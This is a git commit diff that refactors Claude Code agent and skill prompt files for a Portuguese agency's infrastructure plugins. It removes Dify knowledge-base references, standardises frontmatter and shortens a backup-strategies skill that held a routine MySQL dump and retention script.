feat: refactor 30+ skills to Anthropic progressive disclosure pattern
- All SKILL.md files now <500 lines (avg reduction 69%) - Detailed content extracted to references/ subdirectories - Frontmatter standardised: only name + description (Anthropic standard) - New skills: brand-guidelines, spec-coauthor, report-templates, skill-creator - Design skills: anti-slop guidelines, premium-proposals reference - Removed non-standard frontmatter fields (triggers, version, author, category) Plugins affected: infraestrutura, marketing, dev-tools, crm-ops, gestao, core-tools, negocio, perfex-dev, wordpress, design-media Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "infraestrutura",
|
||||
"description": "Server management, Proxmox VE/PBS/Clustering, CWP administration, EasyPanel deployments, security audits, backups and MCP development. Backed by 4 Dify KB datasets + NotebookLM Proxmox (150+ sources).",
|
||||
"description": "Server management, Proxmox VE/PBS/Clustering, CWP administration, EasyPanel deployments, security audits, backups and MCP development. Backed by NotebookLM notebooks (Proxmox 150+ sources).",
|
||||
"version": "1.2.0",
|
||||
"author": {
|
||||
"name": "Descomplicar - Crescimento Digital",
|
||||
|
||||
@@ -167,15 +167,6 @@ Você é um especialista em backup e continuidade de negócio responsável por:
|
||||
mcp__notebooklm__notebook_query notebook_id:"f9a79b5a-649f-4443-afaf-7ff562b6c2e7" query:"backup disaster recovery RTO RPO"
|
||||
```
|
||||
|
||||
### Dify KB (Secundario - se NotebookLM insuficiente)
|
||||
|
||||
```
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"backup disaster recovery RTO RPO"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"rsync mysqldump cron backup"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"CWP" query:"backup hosting servidor"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"S3 backup cloud storage"
|
||||
```
|
||||
|
||||
## Your Available MCPs
|
||||
|
||||
### Recommended for infra
|
||||
@@ -186,13 +177,11 @@ mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"S3 backup cloud sto
|
||||
- **mcp-time** - Hora actual, conversão fusos horários
|
||||
- **puppeteer** - Browser automation
|
||||
|
||||
### All Available (33 total)
|
||||
desk-crm-v3, moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, dify-kb, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
### All Available (32 total)
|
||||
desk-crm-v3, moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
|
||||
**Discovery:** Use ToolSearch to find specific tools.
|
||||
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
|
||||
|
||||
|
||||
## Your Available Skills
|
||||
|
||||
### Primary Skills (Your Domain)
|
||||
@@ -218,20 +207,16 @@ desk-crm-v3, moloni, context7, gitea, n8n, google-analytics, google-workspace, i
|
||||
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
|
||||
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
|
||||
|
||||
### All Available (54 total)
|
||||
### All Available (53 total)
|
||||
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
|
||||
|
||||
**Discovery:** Use the Skill tool to invoke skills.
|
||||
**Example:** `Skill("skill-name")` invokes the skill.
|
||||
|
||||
|
||||
## Colaboração
|
||||
|
||||
- **Reports to**: Security Compliance Specialist
|
||||
- **Colabora com**: CWP Server Manager, Database Design Specialist, EasyPanel Specialist, Development Lead
|
||||
- **Escalar para**: Security Compliance Specialist (políticas segurança), CWP Server Manager (recursos servidor)
|
||||
|
||||
|
||||
## Your Team & Responsibilities
|
||||
|
||||
You are part of **3 SDKs** (TaskForce teams):
|
||||
@@ -241,9 +226,6 @@ You are part of **3 SDKs** (TaskForce teams):
|
||||
**Purpose:** NULL
|
||||
|
||||
**Your responsibilities in this TaskForce:**
|
||||
|
||||
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
|
||||
|
||||
### TaskForce Gestão Administrativa e Financeira
|
||||
|
||||
**Purpose:** NULL
|
||||
|
||||
@@ -182,13 +182,11 @@ Especialista em infraestrutura de servidores CWP, entregando ambientes de hostin
|
||||
- **mcp-time** - Hora actual, conversão fusos horários
|
||||
- **puppeteer** - Browser automation
|
||||
|
||||
### All Available (33 total)
|
||||
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, dify-kb, wikijs, gsc, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
### All Available (32 total)
|
||||
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
|
||||
**Discovery:** Use ToolSearch to find specific tools.
|
||||
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
|
||||
|
||||
|
||||
## Your Available Skills
|
||||
|
||||
### CWP Skills (Official Documentation Only)
|
||||
@@ -227,13 +225,11 @@ moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-
|
||||
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
|
||||
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
|
||||
|
||||
### All Available (54 total)
|
||||
### All Available (53 total)
|
||||
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
|
||||
|
||||
**Discovery:** Use the Skill tool to invoke skills.
|
||||
**Example:** `Skill("skill-name")` invokes the skill.
|
||||
|
||||
|
||||
## Your Team & Responsibilities
|
||||
|
||||
You are part of **2 SDKs** (TaskForce teams):
|
||||
@@ -243,9 +239,6 @@ You are part of **2 SDKs** (TaskForce teams):
|
||||
**Purpose:** NULL
|
||||
|
||||
**Your responsibilities in this TaskForce:**
|
||||
|
||||
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
|
||||
|
||||
### TaskForce Infraestrutura
|
||||
|
||||
**Purpose:** NULL
|
||||
|
||||
@@ -44,8 +44,6 @@ created: '2025-01-13'
|
||||
updated: '2026-02-04'
|
||||
author: Descomplicar®
|
||||
---
|
||||
|
||||
|
||||
# EasyPanel Specialist Descomplicar
|
||||
|
||||
Especialista em deployment de aplicacoes, orquestracao de containers e gestao de infraestrutura moderna usando EasyPanel.
|
||||
@@ -65,14 +63,6 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
|
||||
mcp__notebooklm__notebook_query notebook_id:"f9a79b5a-649f-4443-afaf-7ff562b6c2e7" query:"infrastructure deployment docker"
|
||||
```
|
||||
|
||||
### Dify KB (Secundario - se NotebookLM insuficiente)
|
||||
|
||||
```
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"infrastructure deployment docker"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"server containers orchestration"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"cloud deployment scaling"
|
||||
```
|
||||
|
||||
## System Prompt
|
||||
|
||||
### Papel
|
||||
@@ -139,7 +129,7 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
|
||||
## MCPs Relevantes
|
||||
- `ssh-unified`: Acesso ao servidor EasyPanel
|
||||
- `desk-crm-v3`: Documentar deployments em projectos
|
||||
- `notebooklm`: KB primaria (Gemini 2.5 RAG) | `dify-kb`: KB TI (infrastructure, docker), AWS (scaling)
|
||||
- `notebooklm`: KB primaria (Gemini 2.5 RAG) | ``: KB TI (infrastructure, docker), AWS (scaling)
|
||||
|
||||
## Colaboracao
|
||||
- Reports to: Infrastructure Manager
|
||||
@@ -157,9 +147,9 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
|
||||
- Usage: `mcp__ssh-unified__*`
|
||||
|
||||
✓ **notebooklm** (knowledge primaria)
|
||||
✓ **dify-kb** (knowledge fallback)
|
||||
✓ **** (knowledge fallback)
|
||||
- Knowledge base AI
|
||||
- Usage: `mcp__dify-kb__*`
|
||||
- Usage: `mcp____*`
|
||||
|
||||
### Recommended for infra
|
||||
- **cwp** - CentOS Web Panel
|
||||
@@ -168,13 +158,11 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
|
||||
- **mcp-time** - Hora actual, conversão fusos horários
|
||||
- **puppeteer** - Browser automation
|
||||
|
||||
### All Available (33 total)
|
||||
### All Available (32 total)
|
||||
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
|
||||
**Discovery:** Use ToolSearch to find specific tools.
|
||||
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
|
||||
|
||||
|
||||
## Your Available Skills
|
||||
|
||||
### Primary Skills (Your Domain)
|
||||
@@ -200,13 +188,11 @@ moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-
|
||||
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
|
||||
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
|
||||
|
||||
### All Available (54 total)
|
||||
### All Available (53 total)
|
||||
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
|
||||
|
||||
**Discovery:** Use the Skill tool to invoke skills.
|
||||
**Example:** `Skill("skill-name")` invokes the skill.
|
||||
|
||||
|
||||
## Your Team & Responsibilities
|
||||
|
||||
You are part of **2 SDKs** (TaskForce teams):
|
||||
@@ -216,9 +202,6 @@ You are part of **2 SDKs** (TaskForce teams):
|
||||
**Purpose:** NULL
|
||||
|
||||
**Your responsibilities in this TaskForce:**
|
||||
|
||||
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
|
||||
|
||||
### TaskForce Infraestrutura
|
||||
|
||||
**Purpose:** NULL
|
||||
|
||||
@@ -49,8 +49,6 @@ created: '2026-02-14'
|
||||
updated: '2026-02-14'
|
||||
author: Descomplicar®
|
||||
---
|
||||
|
||||
|
||||
# Proxmox Specialist Descomplicar
|
||||
|
||||
Especialista em Proxmox VE 8.x, Proxmox Backup Server (PBS), Clustering e High Availability para servidores Hetzner com foco em migrações zero-downtime.
|
||||
@@ -105,12 +103,6 @@ mcp__notebooklm__notebook_query notebook_id:"276ccdde-6b95-42a3-ad96-4e64d64c8d5
|
||||
- Fase 1: Novo servidor + PBS + EasyPanel migration
|
||||
- Fase 2: CWP migration com 7 dias validação
|
||||
- Fase 3: Cluster formation + HA + cleanup
|
||||
|
||||
### Dify KB (Terciário - se NotebookLM + Hub insuficientes)
|
||||
|
||||
```
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"proxmox virtualization clustering"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"zfs raid storage backup"
|
||||
```
|
||||
|
||||
## System Prompt
|
||||
@@ -386,13 +378,11 @@ iface eno1 inet static
|
||||
- **gitea** - Version control de infrastructure code
|
||||
- **mcp-time** - Scheduling de backups e sync jobs
|
||||
|
||||
### All Available (33 total)
|
||||
moloni, context7, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, dify-kb, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate, cwp, lighthouse, puppeteer
|
||||
### All Available (32 total)
|
||||
moloni, context7, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate, cwp, lighthouse, puppeteer
|
||||
|
||||
**Discovery:** Use ToolSearch to find specific tools.
|
||||
**Example:** `ToolSearch("ssh execute")` finds SSH execution tools.
|
||||
|
||||
|
||||
## Your Available Skills
|
||||
|
||||
### Primary Skills (Your Domain)
|
||||
@@ -414,16 +404,14 @@ moloni, context7, n8n, google-analytics, google-workspace, imap, outline-api, yo
|
||||
- **/reflect** - Auto-reflexão e melhoria contínua
|
||||
- **/worklog** - Registo trabalho com migration phases tracking
|
||||
- **/_core** - Sacred Rules, Excellence Standards
|
||||
- **/knowledge** - Unified KB search (NotebookLM → Dify → Hub)
|
||||
- **/knowledge** - Unified KB search (NotebookLM → Hub)
|
||||
- **/desk** - Integração .desk-project (task #1712, project #65)
|
||||
|
||||
### All Available (54 total)
|
||||
### All Available (53 total)
|
||||
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
|
||||
|
||||
**Discovery:** Use the Skill tool to invoke skills.
|
||||
**Example:** `Skill("skill-name")` invokes the skill.
|
||||
|
||||
|
||||
## Hardware Context (Current Mission)
|
||||
|
||||
### New Server (cluster.descomplicar.pt)
|
||||
|
||||
@@ -40,8 +40,6 @@ created: '2025-01-13'
|
||||
updated: '2026-02-04'
|
||||
author: Descomplicar®
|
||||
---
|
||||
|
||||
|
||||
# Security Compliance Specialist Descomplicar
|
||||
|
||||
Especialista senior em ciberseguranca, compliance regulamentar (GDPR, ISO27001, SOC2) e gestao de riscos para garantir proteccao de dados e conformidade em todos os sistemas.
|
||||
@@ -61,14 +59,6 @@ Especialista senior em ciberseguranca, compliance regulamentar (GDPR, ISO27001,
|
||||
mcp__notebooklm__notebook_query notebook_id:"f9a79b5a-649f-4443-afaf-7ff562b6c2e7" query:"seguranca ciberseguranca vulnerabilidades firewall"
|
||||
```
|
||||
|
||||
### Dify KB (Secundario - se NotebookLM insuficiente)
|
||||
|
||||
```
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"seguranca ciberseguranca vulnerabilidades firewall"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"hardening seguranca servidor auditoria"
|
||||
mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"security compliance IAM encryption"
|
||||
```
|
||||
|
||||
## System Prompt
|
||||
|
||||
### Papel
|
||||
@@ -145,13 +135,11 @@ Especialista em ciberseguranca e compliance responsavel por auditar sistemas, im
|
||||
- **mcp-time** - Hora actual, conversão fusos horários
|
||||
- **puppeteer** - Browser automation
|
||||
|
||||
### All Available (33 total)
|
||||
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, dify-kb, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
### All Available (32 total)
|
||||
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
|
||||
|
||||
**Discovery:** Use ToolSearch to find specific tools.
|
||||
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
|
||||
|
||||
|
||||
## Your Available Skills
|
||||
|
||||
### Primary Skills (Your Domain)
|
||||
@@ -177,13 +165,11 @@ moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-
|
||||
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
|
||||
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
|
||||
|
||||
### All Available (54 total)
|
||||
### All Available (53 total)
|
||||
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
|
||||
|
||||
**Discovery:** Use the Skill tool to invoke skills.
|
||||
**Example:** `Skill("skill-name")` invokes the skill.
|
||||
|
||||
|
||||
## Your Team & Responsibilities
|
||||
|
||||
You are part of **4 SDKs** (TaskForce teams):
|
||||
@@ -193,9 +179,6 @@ You are part of **4 SDKs** (TaskForce teams):
|
||||
**Purpose:** NULL
|
||||
|
||||
**Your responsibilities in this TaskForce:**
|
||||
|
||||
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
|
||||
|
||||
### TaskForce Infraestrutura
|
||||
|
||||
**Purpose:** NULL
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"description": "Knowledge sources (NotebookLM + Dify KB) for Infrastructure domain",
|
||||
"description": "Knowledge sources for Infrastructure domain",
|
||||
"sources": {
|
||||
"notebooklm": {
|
||||
"description": "NotebookLM - conhecimento curado profundo via Gemini 2.5 RAG (PRIMARIO)",
|
||||
@@ -13,50 +13,14 @@
|
||||
"centos",
|
||||
"web",
|
||||
"panel"
|
||||
],
|
||||
"maps_from_dify": "CWP Centos Web Panel"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "f9a79b5a-649f-4443-afaf-7ff562b6c2e7",
|
||||
"title": "Cloud e Infraestrutura TI",
|
||||
"topics": [],
|
||||
"maps_from_dify": "TI"
|
||||
}
|
||||
]
|
||||
},
|
||||
"dify_kb": {
|
||||
"description": "Dify KB - datasets tematicos (FALLBACK)",
|
||||
"query_tool": "mcp__dify-kb__dify_kb_retrieve_segments",
|
||||
"datasets": [
|
||||
{
|
||||
"id": "b2a4d2c5-fe55-412c-bc28-74dbd611905d",
|
||||
"name": "CWP Centos Web Panel",
|
||||
"priority": 1,
|
||||
"document_count": 10,
|
||||
"word_count": 599430
|
||||
},
|
||||
{
|
||||
"id": "7f63ec0c-6321-488c-b107-980140199850",
|
||||
"name": "TI",
|
||||
"priority": 1,
|
||||
"document_count": 115,
|
||||
"word_count": 29448495
|
||||
},
|
||||
{
|
||||
"id": "bde4eddd-4618-402c-8bfb-bb947ed9219d",
|
||||
"name": "Linux",
|
||||
"priority": 2,
|
||||
"document_count": 4,
|
||||
"word_count": 336446
|
||||
},
|
||||
{
|
||||
"id": "cc7f000a-ad86-49b6-b59b-179e65f8a229",
|
||||
"name": "AWS",
|
||||
"priority": 2,
|
||||
"document_count": 14,
|
||||
"word_count": 5125632
|
||||
"topics": []
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
---
|
||||
name: authentik
|
||||
description: Authentik SSO management via API v3. Users, groups, applications, providers, flows, events. Use when user mentions "authentik", "sso", "auth.descomplicar", "identity provider", "oauth2 provider", "autenticacao centralizada", "single sign-on".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1484
|
||||
description: Gestão do Authentik SSO via API v3 — utilizadores, grupos, aplicações, providers, flows e eventos em auth.descomplicar.pt.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# /authentik - Gestao Authentik via API v3
|
||||
|
||||
@@ -1,642 +1,175 @@
|
||||
---
|
||||
name: backup-strategies
|
||||
description: Backup strategy planning and implementation. Creates backup plans for
|
||||
databases, files, and configurations. Use when user mentions "backup", "backup strategy",
|
||||
"disaster recovery", "backup plan", "restore strategy".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1463
|
||||
allowed-tools: Edit
|
||||
description: Planeamento e implementacao de estrategias de backup -- bases de dados, ficheiros e configuracoes com RPO/RTO e regra 3-2-1.
|
||||
---
|
||||
|
||||
# /backup-strategies - Backup e Disaster Recovery
|
||||
|
||||
Implementação de estratégias de backup completas seguindo best practices de RPO/RTO e regra 3-2-1.
|
||||
Implementacao de estrategias de backup completas seguindo best practices de RPO/RTO e regra 3-2-1.
|
||||
|
||||
---
|
||||
|
||||
## Quando Usar
|
||||
## Quando usar
|
||||
|
||||
- Planear estratégia de backup para novo projecto
|
||||
- Planear estrategia de backup para novo projecto
|
||||
- Implementar backup automatizado
|
||||
- Configurar disaster recovery
|
||||
- Definir políticas de retenção
|
||||
- Definir politicas de retencao
|
||||
- Testar procedimentos de restore
|
||||
- Auditar backups existentes
|
||||
- Recuperar de falha/corrupção
|
||||
- Recuperar de falha/corrupcao
|
||||
|
||||
---
|
||||
|
||||
## Conceitos Core
|
||||
## Conceitos core
|
||||
|
||||
### RPO vs RTO
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────┐
|
||||
│ │
|
||||
│ INCIDENTE │
|
||||
│ │ │
|
||||
│ ├─────────► RPO ◄────┤ │
|
||||
│ │ (Dados │ │
|
||||
│ │ perdidos) │ │
|
||||
│ │ │ │
|
||||
│ ├─────────────────────►RTO◄────┤ │
|
||||
│ (Downtime) │ │
|
||||
│ │ │
|
||||
│ RECOVERY │
|
||||
│ COMPLETO │
|
||||
└─────────────────────────────────────────────────┘
|
||||
|
||||
RPO (Recovery Point Objective)
|
||||
= Máximo de dados que pode perder
|
||||
= Frequência mínima de backups
|
||||
= Maximo de dados que pode perder
|
||||
= Frequencia minima de backups
|
||||
|
||||
RTO (Recovery Time Objective)
|
||||
= Tempo máximo para restaurar
|
||||
= Define tipo de solução DR
|
||||
= Tempo maximo para restaurar
|
||||
= Define tipo de solucao DR
|
||||
```
|
||||
|
||||
**Tabela de Decisão:**
|
||||
**Tabela de decisao:**
|
||||
|
||||
| Criticidade | RPO | RTO | Solução | Custo |
|
||||
| Criticidade | RPO | RTO | Solucao | Custo |
|
||||
|-------------|-----|-----|---------|-------|
|
||||
| **Crítico** | 0 | <1h | Replicação real-time + hot standby | €€€€ |
|
||||
| **Alto** | 1h | <4h | Backup horário + warm standby | €€€ |
|
||||
| **Médio** | 24h | <24h | Backup diário + cold backup | €€ |
|
||||
| **Baixo** | 7d | <72h | Backup semanal | € |
|
||||
| **Critico** | 0 | <1h | Replicacao real-time + hot standby | Alto |
|
||||
| **Alto** | 1h | <4h | Backup horario + warm standby | Medio-alto |
|
||||
| **Medio** | 24h | <24h | Backup diario + cold backup | Medio |
|
||||
| **Baixo** | 7d | <72h | Backup semanal | Baixo |
|
||||
|
||||
### Regra 3-2-1
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────┐
|
||||
│ REGRA 3-2-1 │
|
||||
├────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ 3 → Três cópias dos dados │
|
||||
│ ├─ Original (produção) │
|
||||
│ ├─ Backup 1 (local) │
|
||||
│ └─ Backup 2 (offsite) │
|
||||
│ │
|
||||
│ 2 → Dois tipos de media diferentes │
|
||||
│ ├─ Disco local (NAS/SSD) │
|
||||
│ └─ Cloud storage (S3/Drive) │
|
||||
│ │
|
||||
│ 1 → Uma cópia offsite │
|
||||
│ └─ Protege contra desastres locais │
|
||||
│ (incêndio, inundação, roubo) │
|
||||
│ │
|
||||
└────────────────────────────────────────────────┘
|
||||
```
|
||||
- **3** copias dos dados (producao + backup local + backup offsite)
|
||||
- **2** tipos de media diferentes (disco local + cloud)
|
||||
- **1** copia offsite (protege contra desastres locais)
|
||||
|
||||
**Exemplo Implementação:**
|
||||
1. **Produção:** Servidor CWP (176.9.3.158)
|
||||
2. **Backup Local:** NAS Synology ou disco externo
|
||||
3. **Backup Offsite:** Google Drive + S3 (Wasabi)
|
||||
**Implementacao Descomplicar:**
|
||||
1. **Producao:** Servidor CWP (176.9.3.158)
|
||||
2. **Backup local:** NAS Synology ou disco externo
|
||||
3. **Backup offsite:** Google Drive + S3 (Wasabi)
|
||||
|
||||
---
|
||||
|
||||
## Estratégias por Tipo de Dados
|
||||
## Workflow principal
|
||||
|
||||
### 1. Bases de Dados (MySQL/PostgreSQL)
|
||||
### Passo 1: Definir RPO/RTO
|
||||
|
||||
#### MySQL - Dump com Compressão
|
||||
Classificar cada sistema pela tabela de criticidade acima.
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# backup-mysql.sh - Backup consistente de BD MySQL
|
||||
### Passo 2: Implementar scripts
|
||||
|
||||
# Configuração
|
||||
DB_NAME="ealmeida_desk24"
|
||||
DB_USER="root"
|
||||
DB_PASS="PASSWORD" # Usar ficheiro .my.cnf na prática
|
||||
BACKUP_DIR="/backups/mysql"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
RETENTION_DAYS=7
|
||||
Scripts prontos para MySQL, WordPress, CWP e rotacao GFS:
|
||||
|
||||
# Criar directório se não existe
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
**-> [references/scripts.md](references/scripts.md)**
|
||||
|
||||
# Backup com single-transaction (consistência InnoDB)
|
||||
mysqldump \
|
||||
--single-transaction \
|
||||
--routines \
|
||||
--triggers \
|
||||
--events \
|
||||
--hex-blob \
|
||||
-u "$DB_USER" \
|
||||
-p"$DB_PASS" \
|
||||
"$DB_NAME" | gzip -9 > "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz"
|
||||
Inclui:
|
||||
- Backup MySQL com `--single-transaction` e compressao
|
||||
- Backup PostgreSQL com `pg_dump`
|
||||
- Backup incremental MySQL com binlog
|
||||
- Backup WordPress completo (com exclusoes inteligentes)
|
||||
- Backup incremental com rsync
|
||||
- Backup contas e configuracoes CWP
|
||||
- Rotacao GFS (Grandfather-Father-Son)
|
||||
- Cron schedule completo
|
||||
- Cloud sync com rclone
|
||||
- Script teste de restore
|
||||
- Runbook disaster recovery
|
||||
|
||||
# Verificar sucesso
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "✅ Backup $DB_NAME concluído: ${BACKUP_DIR}/${DB_NAME}_${DATE}.sql.gz"
|
||||
### Passo 3: Configurar retencao GFS
|
||||
|
||||
# Calcular tamanho
|
||||
SIZE=$(du -h "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz" | cut -f1)
|
||||
echo "📦 Tamanho: $SIZE"
|
||||
else
|
||||
echo "❌ ERRO ao fazer backup de $DB_NAME"
|
||||
exit 1
|
||||
fi
|
||||
| Tipo | Retencao | Frequencia | Slots |
|
||||
|------|----------|------------|-------|
|
||||
| **Horario** | 24h | A cada hora | 24 |
|
||||
| **Diario** | 7 dias | 1x/dia (00:00) | 7 |
|
||||
| **Semanal** | 4 semanas | 1x/semana (domingo) | 4 |
|
||||
| **Mensal** | 12 meses | 1x/mes (dia 1) | 12 |
|
||||
| **Anual** | 7 anos | 1x/ano (1 janeiro) | 7 |
|
||||
|
||||
# Rotação (eliminar backups >7 dias)
|
||||
find "$BACKUP_DIR" -name "${DB_NAME}_*.sql.gz" -mtime +$RETENTION_DAYS -delete
|
||||
echo "🗑️ Backups antigos eliminados (>$RETENTION_DAYS dias)"
|
||||
**Total:** 54 backups simultaneos
|
||||
|
||||
# Upload para cloud (opcional)
|
||||
# rclone copy "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz" gdrive:backups/mysql/
|
||||
```
|
||||
### Passo 4: Automatizar com cron
|
||||
|
||||
**Opções Críticas:**
|
||||
- `--single-transaction`: Consistência sem lock de tabelas (InnoDB)
|
||||
- `--routines`: Incluir stored procedures
|
||||
- `--triggers`: Incluir triggers
|
